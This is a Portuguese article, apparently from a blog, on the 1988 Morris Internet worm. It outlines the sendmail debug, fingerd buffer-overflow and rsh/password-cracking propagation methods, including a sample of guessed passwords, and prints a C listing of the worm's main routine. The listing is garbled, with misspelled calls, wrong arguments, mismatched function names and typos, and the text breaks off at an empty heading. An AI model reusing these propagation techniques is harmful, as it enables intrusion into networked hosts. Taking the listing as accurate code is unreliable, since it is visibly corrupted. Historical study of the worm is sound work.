Worms e Vírus

1988 – The Internet “Worm”

Muitos já me questionaram qual a fonte de motivação que me inspirou para me aprofundar no assunto de segurança de redes.

Eu sei que desde que vi um computador pela primeira vez que fiquei super intrigado em saber como operá-lo, como a maioria de vocês. Agora foi numa palestra sobre segurança de redes, ministradas na faculdade onde estudei, a UFPE, que tive a convicção que a área de segurança de redes era apenas o início dos meus objetivos finais.

O artigo que irei apresentar agora resume o que assisti daquela palestra bem como outras fontes de informações que coletei para completar as lacunas em aberto que foram deixadas na palestra. Espero que sirva de motivação para alguém assim como serviu para mim.

Novembro de 1988 – O Início

Aos 34 minutos do dia 3 de Novembro de 1988, uma mensagem intrigante e aparentemente sem sentido é lida pelos usuários de um grupo de discussão na Internet:

“Parece que há um vírus à solta na Internet”

Andy Sudduth (MIT)

O Internet Worm

Ø Código gerado por Robert Tappan Morris, estudante na Univ. Comell /NY

Ø A Rotina principal consistia de menos de 100 linhas de códigos escritos em linguagem C

Ø Atingiu quase 6.000 computadores da rede, só nos EUA, causando: Infecção, sobrecarga e incapacitação

Ø Levantou uma questão básica: as redes são vulneráveis!

O Internet Worm – Método de Ataque I

Sendmail

– O Worm abre uma conexão TCP com outro host com serviço sendmail ativado (SMTP)

– Invoca o modo debug e emite um comando RCPT TO

– Envia uma solicitação que seus dados sejam canalizados através de um shell

– Os dados (um shell script), cria um arquivo x$$,l1.c ($$ é o identificador do processo criador)

– Este programa possui apenas 40 linhas codificadas em C

– O Shell compila o código C e o executa com alguns parâmetros identificando a máquina de origem

– Identifica o S.O. do host atacado e obtém um programa chamado x$$,vax.o ou x$$,sun3.o do host fonte, efetuando um link com a biblioteca correspondente

– Gera um arquivo chamado /usr/tmp/sh (aspecto do Bourne Shell)

O Internet Worm – Método de Ataque II
Firgerd

– O Cliente finger envia para o servidor finger da máquina atacada um parâmetro que consiste de uma string com 536 bytes.

– O Tamanho da string enviada pelo cliente extrapolava o tamanho do buffer do servidor finger, sorbepondo dados gravados na sua pilha

– O bug consistia na falha do daemon fingerd em tratar corretamente a condição de overflow do buffer

– Quando o daemon retornava da procedore que recebia a solicitação do cliente, não retornava para a rotina principal (main), mas para a procedore dentro da string de 536 bytes na pilha

– A procedure da pilha tentava executar o /bin/sh

O Internet Worm – Método de Ataque III
rsh / rexec

– Obtém informações do .rhosts e /etc/hosts.equiv para futuras migrações

– Para usar o .rhosts seria necessário obter contas de usuários, já que o worm não está sendo executado como root (e sim como um deamon). O Worm tenta então quebrar senhas de usuários

– Lê o /etc/passwd e tenta então combinar senhas como username, primeiro nome, último nome, último+primeiro e apelidos

– Tenta também a partir de senhas consideradas “populares” tais como: aaa, guntis, noxious, simon, academia, hacker, simples, 1234, 1111, senha, senha00, etc

– Se as tentativas falharem, faz outra tentativa pelo dicionário /usr/dic/words

– Obtendo uma senha, busca o r.hosts e executa “rsh” e/ou “rexec” para outro host e busca os arquivos que necessita, executando o /usr/tmp/sh, iniciando assim novamente o ciclo

Código Principal do Worm

                #include
                #include
                #include
                #include
                long currente_time;
                struct rlimit no_core = (0,0);

                int

                main (argc, argv)

                                               int argc;
                                               char *argv[];
                {
                                               int n;
                                               int parent = 0;
                                               int okay = 0;
                                                                              /* change calling name to “sh” */
                                               strcopy(argv[0], “sh”);
                                                                              /* prevent core files by setting limit to 0  */
                                               setrlimit(RLIMIT_CORE, no_core);
                                               current_time = time(0);
                                                                              /* seed random number generator with time */
                                                               srand48(current_time);
                                                               n = 1;
                                                               while (argv[n]) {
                                                                              /*save process id of parent */
                                                                              if (!strcmp(argv[n], “-p”, 2)) {
                                                                                              parent = atoi (argv[++n]);
                                                                                              n++;
                                                                              }
                                                                              else {
                                                                                              /* check for 1l.c in argument list */
                                                                                              if (!strcmp(argv[n], “1l.c”, 4))  okay = 1;
                                                                                              /* load an object file into memory */
                                                                                              load_object (argv[n]);
                                                                                              /* clean up by unlinking file */
                                                                                              if (parent)  unlink (argv[n]);
                                                                                              /* and removing object file name */
                                                                                              strcpy (argv[n++], “”);
                                                                              }
                                                               }
                                                               /* if 1l.c was not in argument list, quit */                               
                                                               if (!okay) exit (0);
                                                               /* reset process group */
                                                               setpgrp (getpid());
                                                               /* kill parent shell if parent is set */
                                                               if (parent)  kill (parent, SIGHUP);
                                                               /* scan for network interfaces */
                                                               if_init();
                                                               /* collect list of gateways from netstat */
                                                               rt_init();
                                                               /* start main loop */
                                                               doit();
                                               }
                                               int
                                               doint()
                                               {
                                                               current_time = time (0);
                                                               /* seed random number generator (again) */
                                                               srand48(current_time);
                                                               /* attack gateways, local nets, remote nets */
                                                               attack_hosts();
                                                               /* check for a “listing” worm */
                                                               check_other ();
                                                               /* attemp to send byte to “emie” */
                                                               send_message ();
                                                               for (;;) {                                                                              /* crack some passwords */
                                                                              crack_some ();
                                                                              /* sleep or listen for other worms */
                                                                              other_sleep (30); crack_some();
                                                                              /* switch process id’s */
                                                                              if (fork()) exit (0);
                                                                              /* attack gateways, known hosts */
                                                                              attack_hosts(); other_sleep(120);
                                                                              /* if 12 hours have passed, reset hosts */
                                                                              if (time (0) == current_time + (3600*12)) {
                                                                                              reset_hosts();
                                                                                              current_time = time(o); }
                                                                              /* quit if pleasequit is set, and nextw > 10 */
                                                                              if (pleasequit && nextw > 10) exit(0);
                                                               }
                                               }
                                                                      

Resumo Cronológico do Worm